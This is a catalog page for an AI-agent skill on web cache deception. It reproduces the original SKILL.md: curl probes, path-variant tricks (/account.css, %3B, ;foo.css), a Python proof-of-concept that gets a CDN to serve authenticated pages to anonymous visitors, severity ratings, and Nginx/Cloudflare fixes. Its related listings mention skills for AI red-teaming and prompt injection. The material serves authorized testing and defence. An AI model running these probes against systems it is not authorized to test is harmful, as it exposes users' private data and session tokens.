cache-deception
What it does
This guide covers web cache deception, where a CDN or proxy stores a logged-in user's private page as if it were public. It is for teams that run caches in front of web apps.
When to use it
- βWhen a site uses a CDN or proxy that caches pages based on file extensions or path patterns.
- βWhen an authorized test wants to check whether private pages are cached under static-looking URLs.
- βWhen a team is reviewing its cache rules for logged-in content.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βOur site uses a CDN in front of the app. Can you check whether private account pages could be cached under static-looking URLs?β
5 new skills a week. 1 minute to read.
How it works
The agent requests account pages using fake static-looking paths in a test account, checks the cache headers, and compares what an unauthenticated visitor receives.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Web Cache Deception
Reverse proxies / CDNs cache based on URL extension or path patterns
(.css, .jpg, /static/). If the origin server returns the
authenticated page for any path, attacker tricks the cache into storing
private content under a public-cacheable URL.
1. The classic
GET /account.css β attacker visits, in their own session
Cache miss β origin returns /account (authenticated, w/ user cookies in URL or response body)
Cache stores response keyed on /account.css
GET /account.css β victim or any unauth visitor
Cache HIT β serves the attacker-cached, victim-data response
2. Probe the deception
# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'
# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)
# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies
If the second request returns the AUTHENTICATED content of step 1 β deception confirmed.
3. Variants
| Variant | Path |
|---|---|
.css suffix |
/account/foo.css |
.jpg suffix |
/account.jpg |
/static/ prefix |
/static/../account |
| Multiple slashes | /account//.css |
URL-encoded ; |
/account%3B.css |
| Trailing semi-segment | /account;foo.css |
| Double extension | /account.html.css |
| Path parameter | /account.css/anything |
Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.
4. Cache poisoning vs cache deception
- Deception β attacker forces cache of victim's data, served to others
- Poisoning β attacker injects content into a normal cached resource
This skill covers deception. Cache poisoning is a separate (overlapping) class.
5. Tools
- Param Miner (Burp plugin) β unkeyed param discovery
webcache.cyberxecution.comfor quick suffix probes- Manual via Burp Repeater
6. PoC
import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'
# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")
# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text # adjust to whatever marker your auth page has
7. Severity
| Bug | Severity |
|---|---|
| Cache deception exposing PII (email, name, balance) | Critical 8-9 |
| Cache deception of session token | Critical 9.8 (ATO) |
| Cache deception of public-only data | Informational |
| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |
8. Defender
# Nginx β prefix-based cache keys, NOT extension-based
location / {
proxy_pass http://origin;
proxy_cache_key "$scheme$proxy_host$uri";
add_header Cache-Control "private, no-store" always;
}
# Cloudflare β set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension
Apps should send Cache-Control: private, no-store on every authenticated
response to defeat both deception and poisoning.
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Web Cache Deception/ - Smuggling overlap:
skills/exploit/web/smuggling.md
Known exemplars
- Omer Gil's original PayPal disclosure (2017)
- Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
- 2023: notable Stripe disclosure of cache deception leading to PII leak
FAQ
What is the risk?
A private page could be stored and then shown to other visitors who use the same address.
Which paths are tested?
Paths that add fake static extensions or prefixes to private pages, the guide says.
How is it fixed?
By setting cache rules so logged-in or private responses are never stored.
Details
Original description by the author
Web cache deception β trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14052
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.